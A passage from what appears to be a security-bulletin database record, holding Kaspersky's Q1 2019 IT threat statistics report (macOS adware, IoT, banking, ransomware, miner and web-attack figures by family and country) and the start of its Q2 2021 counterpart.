they need:\n\n 1. The code that displays the advertising banner to run as often as possible on the infected machine,\n 2. The victim to click on the banners as often as possible,\n 3. As many victims as possible.\n\nIt should be noted that the adware infection technique and adware behavior on the infected machine at times differ little from malware. Meanwhile, the banners themselves can be shown in an arbitrary place on the screen at any time, be it in an open browser window, in a separate window in the center of the screen, etc.\n\n### Top 20 threats for macOS\n\n| Verdict | %* \n---|---|--- \n1 | Trojan-Downloader.OSX.Shlayer.a | 24.62 \n2 | AdWare.OSX.Spc.a | 20.07 \n3 | AdWare.OSX.Pirrit.j | 10.31 \n4 | AdWare.OSX.Pirrit.p | 8.44 \n5 | AdWare.OSX.Agent.b | 8.03 \n6 | AdWare.OSX.Pirrit.o | 7.45 \n7 | AdWare.OSX.Pirrit.s | 6.88 \n8 | AdWare.OSX.Agent.c | 6.03 \n9 | AdWare.OSX.MacSearch.a | 5.95 \n10 | AdWare.OSX.Cimpli.d | 5.72 \n11 | AdWare.OSX.Mcp.a | 5.71 \n12 | AdWare.OSX.Pirrit.q | 5.55 \n13 | AdWare.OSX.MacSearch.d | 4.48 \n14 | AdWare.OSX.Agent.a | 4.39 \n15 | Downloader.OSX.InstallCore.ab | 3.88 \n16 | AdWare.OSX.Geonei.ap | 3.75 \n17 | AdWare.OSX.MacSearch.b | 3.48 \n18 | AdWare.OSX.Geonei.l | 3.42 \n19 | AdWare.OSX.Bnodlero.q | 3.33 \n20 | RiskTool.OSX.Spigot.a | 3.12 \n \n_* Unique users attacked by this malware as a percentage of all users of Kaspersky Lab's security solutions for macOS that were attacked._\n\nTrojan-Downloader.OSX.Shlayer.a (24.62%) finished first in our ranking of macOS threats. Malware from the Shlayer family is distributed under the guise of Flash Player or its updates. Their main task is to download and install various advertising apps, including Bnodlero.\n\nAdWare.OSX.Spc.a (20.07%) and AdWare.OSX.Mcp.a (5.71%) are typical adware apps that are distributed together with various \"cleaner\" programs for macOS. After installation, they write themselves to the autoloader and run in the background.\n\nMembers of the AdWare.OSX.Pirrit family add extensions to the victim's browser; some versions also install a proxy server on the victim's machine to intercept traffic from the browser. All this serves one purpose \u2013 to inject advertising into web pages viewed by the user.\n\nThe malware group consisting of AdWare.OSX.Agent.a, AdWare.OSX.Agent.b, and AdWare.OSX.Agent.c is closely related to the Pirrit family, since it often downloads members of the latter. It can basically download, unpack, and launch different files, as well as embed JS code with ads into web pages seen by the victim.\n\nAdWare.OSX.MacSearch is another family of advertising apps with extensive tools for interacting with the victim's browser. It can manipulate the browser history (read/write), change the browser search system to its own, add extensions, and embed advertising banners on pages viewed by the user. Plus, it can download and install other apps without the user's knowledge.\n\nAdWare.OSX.Cimpli.d (5.72%) is able to download and install other advertising apps, but its main purpose is to change the browser home page and install advertising extensions. As with other adware apps, all these actions have the aim of displaying ads in the victim's browser.\n\nThe creators of the not-a-virus:Downloader.OSX.InstallCore family, having long perfected their tricks on Windows, transferred the same techniques to macOS. The typical InstallCore member is in fact an installer (more precisely, a framework for creating an installer with extensive capabilities) of other programs that do not form part of the main InstallCore package and are downloaded separately. Besides legitimate software, it can distribute less salubrious apps, including ones containing aggressive advertising. Among other things, InstallCore is used to distribute DivX Player.\n\nThe AdWare.OSX.Geonei family is one of the oldest adware families for macOS. It employs creator-owned obfuscation techniques to counteract security solutions. As is typical for adware programs, its main task is to display ads in the browser by embedding them in the HTML code of the web-page.\n\nLike other similar apps, AdWare.OSX.Bnodlero.q (3.33%) installs advertising extensions in the user's browser, and changes the default search engine and home page. What's more, it can download and install other advertising apps.\n\n### Threat geography\n\n| Country* | %** \n---|---|--- \n1 | France | 11.54 \n2 | Spain | 9.75 \n3 | India | 8.83 \n4 | Italy | 8.20 \n5 | US | 8.03 \n6 | Canada | 7.94 \n7 | UK | 7.52 \n8 | Russia | 7.51 \n9 | Brazil | 7.45 \n10 | Mexico | 6.99 \n \n_* Excluded from the rating are countries with relatively few users of Kaspersky Lab's security solutions for macOS (under 10,000)._ \n_** Unique attacked users as a percentage of all users of Kaspersky Lab's security solutions for macOS in the country._\n\nIn Q1 2019, France (11.54%) took first place in the Top 10. The most common infection attempts we registered in this country came from Trojan-Downloader.OSX.Shlayer.a, AdWare.OSX.Spc.a \u0438 AdWare.OSX.Bnodlero.q.\n\nUsers from Spain (9.75%), India (8.83%), and Italy (8.20%) \u2013 who ranked second, third, and fourth, respectively \u2013 most often encountered Trojan-Downloader.OSX.Shlayer.a, AdWare .OSX.Spc.a, AdWare.OSX.Bnodlero.q, AdWare.OSX.Pirrit.j, and AdWare.OSX.Agent.b\n\nFifth place in the ranking went to the US (8.03%), which saw the same macOS threats as Europe. Note that US residents also had to deal with advertising apps from the Climpi family.\n\n## IoT attacks\n\n### Interesting events\n\nIn Q1 2019, we noticed several curious features in the behavior of IoT malware. First, some Mirai samples were equipped with a tool for artificial environment detection: If the malware detected it was running in a sandbox, it stopped working. The implementation was primitive \u2013 scanning for the presence of procfs.\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22172955/it-threat-stats-q1-2019-6.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22172955/it-threat-stats-q1-2019-6.png>)\n\nBut we expect it to become more complex in the near future.\n\nSecond, one of the versions of Mirai was spotted to contain a mechanism for clearing the environment of other bots. It works using templates, killing the process if its name matches that of the template. Interestingly, Mirai itself ended up in the list of such names (the malware itself does not contain \"mirai\" in the process name):\n\n * dvrhelper\n * dvrsupport\n * **mirai**\n * blade\n * demon\n * hoho\n * hakai\n * satori\n * messiah\n * mips\n\nLastly, a few words about a miner with an old exploit for Oracle Weblogic Server, although it is not actually an IoT malware, but a Trojan for Linux.\n\nTaking advantage of the fact that Weblogic Server is cross-platform and can be run on a Windows host or under Linux, the cybercriminals embedded checks for different operating systems, and are now attacking Windows hosts along with Linux.\n\n[![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22173014/it-threat-stats-q1-2019-7.png)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22173014/it-threat-stats-q1-2019-7.png>)\n\n_Section of code responsible for attacking Windows and Linux hosts_\n\n### IoT threat statistics\n\nQ1 demonstrated that there are still many devices in the world that attack each other through telnet. Note, however, that it has nothing to do with the qualities of the protocol. It is just that devices or servers managed through SSH are closely monitored by administrators and hosting companies, and any malicious activity is terminated. This is one reason why there are significantly fewer unique addresses attacking via SSH than there are IP addresses from which the telnet attacks come. \n \nSSH | 17% \nTelnet | 83% \n \n_Table of the popularity distribution of attacked services by number of unique IP addresses of devices that carried out attacks, Q1 2019_\n\nNevertheless, cybercriminals are actively using powerful servers to manage their vast botnets. This is seen by the number of sessions in which cybercriminal servers interact with Kaspersky Lab's traps. \n \nSSH | 64% \nTelnet | 36% \n \n_Table of distribution of cybercriminal working sessions with Kaspersky Lab's traps, Q1 2019_\n\nIf attackers have SSH access to an infected device, they have far greater scope to monetize the infection. In the overwhelming majority of cases involving intercepted sessions, we registered spam mailings, attempts to use our trap as a proxy server, and (least often of all) cryptocurrency mining.\n\n### Telnet-based attacks\n\n_Geography of IP addresses of devices from which attempts were made to attack Kaspersky Lab's telnet traps, Q1 2019_[ (download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22171650/en-iot-telnet-map.png>)\n\nTop 10 countries where devices were located that carried out telnet-based attacks on Kaspersky Lab's traps.\n\n| Country | %* \n---|---|--- \n1 | Egypt | 13.46 \n2 | China | 13.19 \n3 | Brazil | 11.09 \n4 | Russia | 7.17 \n5 | Greece | 4.45 \n6 | Jordan | 4.14 \n7 | US | 4.12 \n8 | Iran | 3.24 \n9 | India | 3.14 \n10 | Turkey | 2.49 \n \n_* Infected devices in the country as a percentage of the total number of all infected IoT devices attacking via telnet._\n\nIn Q1 2019, Egypt (13.46%) topped the leaderboard by number of unique IP addresses from which attempts were made to attack Kaspersky Lab's traps. Second place by a small margin goes to China (13.19%), with Brazil (11.09%) in third.\n\nCybercriminals most often used telnet attacks to infect devices with one of the many Mirai family members.\n\n**Top 10 malware downloaded to infected IoT devices following a successful telnet attack**\n\n| Verdict | %* \n---|---|--- \n1 | Backdoor.Linux.Mirai.b | 71.39 \n2 | Backdoor.Linux.Mirai.ba | 20.15 \n3 | Backdoor.Linux.Mirai.au | 4.85 \n4 | Backdoor.Linux.Mirai.c | 1.35 \n5 | Backdoor.Linux.Mirai.h | 1.23 \n6 | Backdoor.Linux.Mirai.bj | 0.72 \n7 | Trojan-Downloader.Shell.Agent.p | 0.06 \n8 | Backdoor.Linux.Hajime.b | 0.06 \n9 | Backdoor.Linux.Mirai.s | 0.06 \n10 | Backdoor.Linux.Gafgyt.bj | 0.04 \n \n_* Share of malware in the total amount of malware downloaded to IoT devices following a successful telnet attack_\n\nIt is worth noting that bots based on Mirai code make up most of the Top 10. There is nothing surprising about this, and the situation could persist for a long time given Mirai's universality.\n\n### SSH-based attacks\n\n_Geography of IP addresses of devices from which attempts were made to attack Kaspersky Lab's SSH traps, Q1 2019_[ (download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22171814/en-iot-ssh-map.png>)\n\nTop 10 countries in which devices were located that carried out SSH-based attacks on Kaspersky Lab's traps.\n\n| Verdict | %* \n---|---|--- \n1 | China | 23.24 \n2 | US | 9.60 \n3 | Russia | 6.07 \n4 | Brazil | 5.31 \n5 | Germany | 4.20 \n6 | Vietnam | 4.11 \n7 | France | 3.88 \n8 | India | 3.55 \n9 | Egypt | 2.53 \n10 | Korea | 2.10 \n \n_* Infected devices in the country as a percentage of the total number of infected IoT devices attacking via SSH_\n\nMost often, a successful SSH-based attack resulted in the following types of malware downloaded of victim's device: Backdoor.Perl.Shellbot.cd, Backdoor.Perl.Tsunami.gen, and Trojan-Downloader.Shell.Agent.p\n\n## Financial threats\n\n### Quarterly highlights\n\nThe banker Trojan DanaBot, detected in [Q2](<https://securelist.com/it-threat-evolution-q2-2018-statistics/87170/>), continued to grow actively. The new modification not only updated the communication protocol with the C&C center, but expanded the list of organizations targeted by the malware. Whereas last quarter the main targets were located in Australia and Poland, in Q3 organizations in Austria, Germany, and Italy were added.\n\nRecall that DanaBot has a modular structure and can load additional plugins to intercept traffic, steal passwords, and hijack crypto wallets. The malware was distributed through spam mailings with a malicious office document, which was used to download the main body of the Trojan.\n\n### Financial threat statistics\n\nIn Q1 2019, Kaspersky Lab solutions blocked attempts to launch one or more types of malware designed to steal money from bank accounts on the computers of 243,604 users.\n\n_Number of unique users attacked by financial malware, Q1 2019 _[ (download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22171934/en-finance.png>)\n\n### Attack geography\n\nTo evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware worldwide, for each country we calculated the share of users of Kaspersky Lab products that faced this threat during the reporting period out of all users of our products in that country.\n\n_Geography of banking malware attacks, Q1 2019 _[ (download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/23125708/en-finance-map.png>)\n\n#### Top 10 countries by share of attacked users\n\n**Country*** | **%**** \n---|--- \nSouth Korea | 2.2 \nChina | 2.1 \nBelarus | 1.6 \nVenezuela | 1.6 \nSerbia | 1.6 \nGreece | 1.5 \nEgypt | 1.4 \nPakistan | 1.3 \nCameroon | 1.3 \nZimbabwe | 1.3 \n \n_* Excluded are countries with relatively few Kaspersky Lab product users (under 10,000)._ \n_** Unique users whose computers were targeted by banking Trojans as a percentage of all unique users of Kaspersky Lab products in the country._\n\n### Top 10 banking malware families\n\n| **Name** | **Verdicts** | **%*** \n---|---|---|--- \n1 | RTM | Trojan-Banker.Win32.RTM | 27.42 \n2 | Zbot | Trojan.Win32.Zbot | 22.86 \n3 | Emotet | Backdoor.Win32.Emotet | 9.36 \n4 | Trickster | Trojan.Win32.Trickster | 6.57 \n5 | Nymaim | Trojan.Win32.Nymaim | 5.85 \n6 | Nimnul | Virus.Win32.Nimnul | 4.59 \n7 | SpyEye | Backdoor.Win32.SpyEye | 4.29 \n8 | Neurevt | Trojan.Win32.Neurevt | 3.56 \n9 | NeutrinoPOS | Trojan-Banker.Win32.NeutrinoPOS | 2.64 \n10 | Tinba | Trojan-Banker.Win32.Tinba | 1.39 \n \n_** Unique users attacked by this malware as a percentage of all users attacked by financial malware._\n\nIn Q1 2019, the familiar Trojan-Banker.Win32.RTM (27.4%), Trojan.Win32.Zbot (22.9%), and Backdoor.Win32.Emotet (9.4%) made up the Top 3. In fourth place was Trojan.Win32.Trickster (6.6%), and fifth was Trojan.Win32.Nymaim (5.9%).\n\n## Ransomware programs\n\n### Quarterly highlights\n\nThe most high-profile event of the quarter was probably the [LockerGoga ransomware attack](<https://ics-cert.kaspersky.com/news/2019/03/22/metallurgical-giant-norsk-hydro-attacked-by-encrypting-malware/>) on several major companies. The ransomware code itself constitutes nothing new, but the large-scale infections attracted the attention of the media and the public. Such incidents yet again spotlight the issue of corporate and enterprise network security, because in the event of penetration, instead of using ransomware (which would immediately make itself felt), cybercriminals can install spyware and steal confidential data for years on end without being noticed.\n\nA vulnerability was discovered in the popular WinRAR archiver that allows an arbitrary file to be placed in an arbitrary directory when unpacking an ACE archive. The cybercriminals did not miss the chance to [assemble an archive](<https://www.bleepingcomputer.com/news/security/jneca-ransomware-spread-by-winrar-ace-exploit/>) that unpacks the executable file of the JNEC ransomware into the system autorun directory.\n\nFebruary saw [attacks](<https://www.bleepingcomputer.com/forums/t/691852/cr1ptt0r-ransomware-files-encrypted-readmetxt-support-topic/>) on network-attached storages (NAS), in which Trojan-Ransom.Linux.Cryptor malware was installed on the victim device, encrypting data on all attached drives using elliptic-curve cryptography. Such attacks are especially dangerous because NAS devices are often used to store backup copies of data. What's more, the victim tends to be unaware that a separate device running Linux might be targeted by intruders.\n\nNomoreransom.org partners, in cooperation with cyber police, [created](<https://threatpost.com/gandcrab-decryptor-ransomware/141973/>) a utility for decrypting files impacted by GandCrab (Trojan-Ransom.Win32.GandCrypt) up to and including version 5.1. It helps victims of the ransomware to restore access to their data without paying a ransom. Unfortunately, as is often the case, shortly after the public announcement, the cybercriminals updated the malware to version 5.2, which cannot be decrypted by this tool.\n\n### Statistics\n\n#### Number of new modifications\n\nThe number of new modifications fell markedly against Q4 2018 to the level of Q3. Seven new families were identified in the collection.\n\n_Number of new ransomware modifications, Q1 2018 \u2013 Q1 2019_[ (download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22172044/ransomware-new-modification.png>)\n\n#### Number of users attacked by ransomware Trojans\n\nIn Q1 2019, Kaspersky Lab products defeated ransomware attacks against 284,489 unique KSN users.\n\nIn February, the number of attacked users decreased slightly compared with January; however, by March we recorded a rise in cybercriminal activity.\n\n_Number of unique users attacked by ransomware Trojans, Q1 2019_[ (download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22172107/en-ransomware-users.png>)\n\n### Attack geography\n\nGeography of mobile ransomware Trojans, Q1 2019[ (download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22171149/en-ransomware-map.png>)\n\n#### Top 10 countries attacked by ransomware Trojans\n\n| **Country*** | **% of users attacked by cryptors**** \n---|---|--- \n1 | Bangladesh | 8.11 \n2 | Uzbekistan | 6.36 \n3 | Ethiopia | 2.61 \n4 | Mozambique | 2.28 \n5 | Nepal | 2.09 \n6 | Vietnam | 1.37 \n7 | Pakistan | 1.14 \n8 | Afghanistan | 1.13 \n9 | India | 1.11 \n10 | Indonesia | 1.07 \n \n* Excluded are countries with relatively few Kaspersky Lab users (under 50,000). \n** Unique users whose computers were attacked by Trojan cryptors as a percentage of all unique users of Kaspersky Lab products in the country.\n\n#### Top 10 most common families of ransomware Trojans\n\n| **Name** | **Verdicts*** | **Percentage of attacked users**** \n---|---|---|--- \n1 | WannaCry | Trojan-Ransom.Win32.Wanna | 26.25 | \n2 | (generic verdict) | Trojan-Ransom.Win32.Phny | 18.98 | \n3 | GandCrab | Trojan-Ransom.Win32.GandCrypt | 12.33 | \n4 | (generic verdict) | Trojan-Ransom.Win32.Crypmod | 5.76 | \n5 | Shade | Trojan-Ransom.Win32.Shade | 3.54 | \n6 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 3.50 | \n7 | PolyRansom/VirLock | Virus.Win32.PolyRansom | 2.82 | \n8 | (generic verdict) | Trojan-Ransom.Win32.Gen | 2.02 | \n9 | Crysis/Dharma | Trojan-Ransom.Win32.Crusis | 1.51 | \n10 | (generic verdict) | Trojan-Ransom.Win32.Cryptor | 1.20 | \n \n_* Statistics are based on detection verdicts of Kaspersky Lab products. The information was provided by Kaspersky Lab product users who consented to provide statistical data._ \n_** Unique Kaspersky Lab users attacked by a particular family of Trojan cryptors as a percentage of all users attacked by Trojan cryptors._\n\n## Miners\n\n### Statistics\n\n#### Number of new modifications\n\nIn Q1 2019, Kaspersky Lab solutions detected 11,971 new modifications of miners.\n\n_Number of new miner modifications, Q1 2019_[ (download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22172216/en-miners-modifications.png>)\n\n#### Number of users attacked by miners\n\nIn Q1, we detected attacks using miners on the computers of 1,197,066 unique users of Kaspersky Lab products worldwide.\n\n_Number of unique users attacked by miners, Q1 2019 _[ (download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22172326/en-miners-users.png>)\n\n### Attack geography\n\n_Number of unique users attacked by miners, Q1 2019 _[ (download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/23131558/en-miner-map.png>)\n\n#### Top 10 countries by share of users attacked by miners\n\n| **Country*** | **%**** \n---|---|--- \n1 | Afghanistan | 12.18 \n2 | Ethiopia | 10.02 \n3 | Uzbekistan | 7.97 \n4 | Kazakhstan | 5.84 \n5 | Tanzania | 4.73 \n6 | Ukraine | 4.28 \n7 | Mozambique | 4.17 \n8 | Belarus | 3.84 \n9 | Bolivia | 3.35 \n10 | Pakistan | 3.33 \n \n_* Excluded are countries with relatively few Kaspersky Lab users (under 50,000)._ \n_** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky Lab products in the country._\n\n## Vulnerable applications used by cybercriminals\n\nStatistics for Q1 2019 show that vulnerabilities in Microsoft Office are still being utilized more often than those in other applications, due to their easy exploitability and highly stable operation. The percentage of exploits for Microsoft Office did not change much compared to the previous quarter, amounting to 69%.\n\n_Distribution of exploits used by cybercriminals, by type of attacked application, Q1 2019_[ (download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22172438/exploits.png>)\n\nThis quarter's most popular vulnerabilities in the Microsoft Office suite were [CVE-2017-11882](<https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/17-year-old-ms-office-flaw-cve-2017-11882-actively-exploited-in-the-wild>) and [CVE-2018-0802](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802>). They relate to the Equation Editor component, and cause buffer overflow with subsequent remote code execution. Lagging behind the chart leaders by a factor of almost two is [CVE-2017-8570](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>), a logical vulnerability and an analog of the no less popular [CVE-2017-0199](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199>). Next comes [CVE-2017-8759](<https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html>), where an error in the SOAP WSDL parser caused malicious code to be injected and the computer to be infected. Microsoft Office vulnerabilities are overrepresented in the statistics partly due to the emergence of openly available generators of malicious documents that exploit these vulnerabilities.\n\nIn Q1, the share of detected vulnerabilities in browsers amounted to 14%, almost five times less than for Microsoft Office. Exploiting browser vulnerabilities is often a problem, since browser developers are forever coming up with new options to safeguard against certain types of vulnerabilities, while the techniques for bypassing them often require the use of entire vulnerability chains to achieve the objective, which significantly increases the cost of such attacks.\n\nHowever, this does not mean that in-depth attacks for browsers do not exist. A prime example is the actively exploited zero-day vulnerability [CVE-2019-5786](<https://securityaffairs.co/wordpress/82058/hacking/chrome-zero-day-cve-2019-5786.html>) in Google Chrome<https://securityaffairs.co/wordpress/82058/hacking/chrome-zero-day-cve-2019-5786.html>. To bypass sandboxes, it was [used in conjunction](<https://www.zdnet.com/article/proof-of-concept-code-published-for-windows-7-zero-day/>) with an additional exploit for the vulnerability in the win32k.sys driver ([CVE-2019-0808](<https://securityaffairs.co/wordpress/82428/hacking/cve-2019-0808-win-flaw.html>)), with the targets being users of 32-bit versions of Windows 7.\n\nIt is fair to say that Q1 2019, like the quarter before it, was marked by a large number of zero-day targeted attacks. Kaspersky Lab researchers found an actively exploited zero-day vulnerability in the Windows kernel, which was assigned the ID [CVE-2019-0797](<https://securelist.com/cve-2019-0797-zero-day-vulnerability/89885/>). This vulnerability exploited race conditions caused by a lack of thread synchronization during undocumented system calls, resulting in Use-After-Free. It is worth noting that [CVE-2019-0797](<https://securelist.com/cve-2019-0797-zero-day-vulnerability/89885/>) is the fourth zero-day vulnerability for Windows found by Kaspersky Lab recent months.\n\nA remarkable event at the beginning of the year was the discovery by researchers of the [CVE-2018-20250](<https://www.tenable.com/blog/winrar-absolute-path-traversal-vulnerability-leads-to-remote-code-execution-cve-2018-20250-0>) vulnerability, which had existed for 19 years in the module for unpacking ACE archives in the WinRAR utility. This component lacks sufficient checks of the file path, and a specially created ACE archive allows cybercriminals to inject an executable file into the system autorun directory. The vulnerability was immediately used to start distributing malicious archives.\n\nDespite the fact that two years have passed since the vulnerabilities in the FuzzBunch exploit kit (EternalBlue, EternalRomance, etc.) were patched, these attacks still occupy all the top positions in our statistics. This is facilitated by the ongoing growth of malware that uses these exploits as a vector to distribute itself inside corporate networks.\n\n## Attacks via web resources\n\n_The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Malicious websites are specially created by cybercriminals; web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected._\n\n### Countries that are sources of web-based attacks:\n\n_The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky Lab products on user computers (web pages with redirects to exploits, sites containing exploits and other malicious programs, botnet C&C centers, etc.). Any unique host could be the source of one or more web-based attacks._\n\n_To determine the geographical source of web-based attacks, domain names are matched against their actual domain IP addresses, and then the geographical location of a specific IP address (GEOIP) is established._\n\nIn Q1 2019, Kaspersky Lab solutions blocked **843,096,461** attacks launched from online resources located in 203 countries across the globe. **113,640,221** unique URLs were recognized as malicious by Web Anti-Virus components.\n\n**_Distribution of web attack sources by country, Q1 2019_**[ (download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22172506/en-web-attack-source.png>)\n\nThis quarter, Web Anti-Virus was most active on resources located in the US.\n\n### Countries where users faced the greatest risk of online infection\n\nTo assess the risk of online infection faced by users in different countries, for each country we calculated the percentage of Kaspersky Lab users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries.\n\nThis rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include Web Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.\n\n| **Country*** | **% of attacked users**** \n---|---|--- \n1 | Venezuela | 29.76 \n2 | Algeria | 25.10 \n3 | Greece | 24,16 \n4 | Albania | 23.57 \n5 | Estonia | 20.27 \n6 | Moldova | 20.09 \n7 | Ukraine | 19.97 \n8 | Serbia | 19.61 \n9 | Poland | 18.89 \n10 | Kyrgyzstan | 18.36 \n11 | Azerbaijan | 18.28 \n12 | Belarus | 18.22 \n13 | Tunisia | 18.09 \n14 | Latvia | 17.62 \n15 | Hungary | 17.61 \n16 | Bangladesh | 17,17 \n17 | Lithuania | 16.71 \n18 | Djibouti | 16.66 \n19 | Reunion | 16.65 \n20 | Tajikistan | 16.61 \n \n_* Excluded are countries with relatively few Kaspersky Lab users (under 10,000)._ \n_** Unique users targeted by **Malware-class** attacks as a percentage of all unique users of Kaspersky Lab products in the country._\n\nThese statistics are based on detection verdicts returned by the Web Anti-Virus module that were received from users of Kaspersky Lab products who consented to provide statistical data.\n\nOn average, 13.18% of Internet user computers worldwide experienced at least one **Malware-class** attack.\n\n**_Geography of malicious web attacks in Q1 2019 (percentage of attacked users)_**[ (download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/05/22172633/en-web-attacks-map.png>)\n\n## Local threats\n\n_Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer through infecting files or removable media, or initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.)._\n\n_Data in this section is based on analyzing statistics produced by Anti-Virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The data includes detections of malicious programs located on user computers or removable media connected to computers, such as flash drives, camera/phone memory cards, and external hard drives._\n\nIn Q1 2019, our File Anti-Virus detected **247,907,593** malicious and potentially unwanted objects.\n\n### Countries where users faced the highest risk of local infection\n\nFor each country, we calculated the percentage of users of Kaspersky Lab products on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in different countries.\n\nNote that as of this quarter, the rating includes only **Malware-class** attacks; it does not include File Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.\n\n| **Country*** | **% of attacked users**** \n---|---|--- \n1 | Uzbekistan | 57.73 \n2 | Yemen | 57.66 \n3 | Tajikistan | 56.35 \n4 | Afghanistan | 56.13 \n5 | Turkmenistan | 55.42 \n6 | Kyrgyzstan | 51.52 \n7 | Ethiopia | 49.21 \n8 | Syria | 47.64 \n9 | Iraq | 46,16 \n10 | Bangladesh | 45.86 \n11 | Sudan | 45.72 \n12 | Algeria | 45.35 \n13 | Laos | 44.99 \n14 | Venezuela | 44,14 \n15 | Mongolia | 43.90 \n16 | Myanmar | 43.72 \n17 | Libya | 43.30 \n18 | Bolivia | 43,17 \n19 | Belarus | 43.04 \n20 | Azerbaijan | 42.93 \n \n_* Excluded are countries with relatively few Kaspersky Lab users (under 10,000)._ \n_** Unique users on whose computers **Malware-class** local threats were blocked, as a percentage of all unique users of Kaspersky Lab products in the country._\n\nThese statistics are based on detection verdicts returned by the OAS and ODS Anti-Virus modules received from users of Kaspersky Lab products who consented to provide statistical data. The data includes detections of malicious programs located on user computers or removable media connected to computers, such as flash drives, camera/phone memory cards, or external hard drives.\n\nOn average, 23.62% of user computers globally faced at least one **Malware-class** local threat in Q1.", "cvss3": {}, "published": "2019-05-23T10:00:53", "type": "securelist", "title": "IT threat evolution Q1 2019. Statistics", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-0199", "CVE-2017-11882", "CVE-2017-8570", "CVE-2017-8759", "CVE-2018-0802", "CVE-2018-20250", "CVE-2019-0797", "CVE-2019-0808", "CVE-2019-5786"], "modified": "2019-05-23T10:00:53", "id": "SECURELIST:A3CEAF1114E104F14254F7AF77D7D080", "href": "https://securelist.com/it-threat-evolution-q1-2019-statistics/90916/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-12T10:37:29", "description": "![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/12091857/abstract_malware_report-990x400.jpg)\n\n_These statistics are based on detection verdicts of Kaspersky products received from users who consented to providing statistical data._\n\n## Quarterly figures\n\nAccording to Kaspersky Security Network, in Q2 2021:\n\n * Kaspersky solutions blocked 1,686,025,551 attacks from online resources across the globe.\n * Web antivirus recognized 675,832,360 unique URLs as malicious.\n * Attempts to run malware for stealing money from online bank accounts were stopped on the computers of 119,252 unique users.\n * Ransomware attacks were defeated on the computers of 97,451 unique users.\n * Our file antivirus detected 68,294,298 unique malicious and potentially unwanted objects.\n\n## Financial threats\n\n### Financial threat statistics\n\nIn Q2 2021, Kaspersky solutions blocked the launch of at least one piece of banking malware on the computers of 119,252 unique users.\n\n_Number of unique users attacked by financial malware, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11140610/01-en-malware-report-q2-2021-graphs-pc.png>))_\n\n**Geography of financial malware attacks**\n\n_To evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware worldwide, for each country we calculated the share of users of Kaspersky products who faced this threat during the reporting period as a percentage of all users of our products in that country._\n\n_Geography of financial malware attacks, Q2 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/08/11140636/02-en-malware-report-q2-2021-graphs-pc.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Turkmenistan | 5.8 \n2 | Tajikistan | 5.0 \n3 | Afghanistan | 4.2 \n4 | Uzbekistan | 3.3 \n5 | Lithuania | 2.9 \n6 | Sudan | 2.8 \n7 | Paraguay | 2.5 \n8 | Zimbabwe | 1.6 \n9 | Costa Rica | 1.5 \n10 | Yemen | 1.5 \n \n_* Excluded are countries with relatively few Kaspersky product users (under 10,000)._ \n_** Unique users whose computers were targeted by financial malware as a percentage of all unique users of Kaspersky products in the country._\n\nLast quarter, as per tradition, the most widespread family of bankers was ZeuS/Zbot (17.8%), but its share in Q2 almost halved, by 13 p.p. Second place again went to the CliptoShuffler family (9.9%), whose share also fell, by 6 p.p. The Top 3 is rounded out by SpyEye (8.8%), which added 5 p.p., climbing from the eighth place. Note the disappearance of Emotet from the Top 10, which was predictable given the liquidation of its infrastructure in the previous quarter.\n\n**Top 10 banking malware families**\n\n| Name | Verdicts | %* \n---|---|---|--- \n1 | Zbot | Trojan.Win32.Zbot | 17.8 \n2 | CliptoShuffler | Trojan-Banker.Win32.CliptoShuffler | 9.9 \n3 | SpyEye | Trojan-Spy.Win32.SpyEye | 8.8 \n4 | Trickster | Trojan.Win32.Trickster | 5.5 \n5 | RTM | Trojan-Banker.Win32.RTM | 3.8 \n6 | Danabot | Trojan-Banker.Win32.Danabot | 3.6 \n7 | 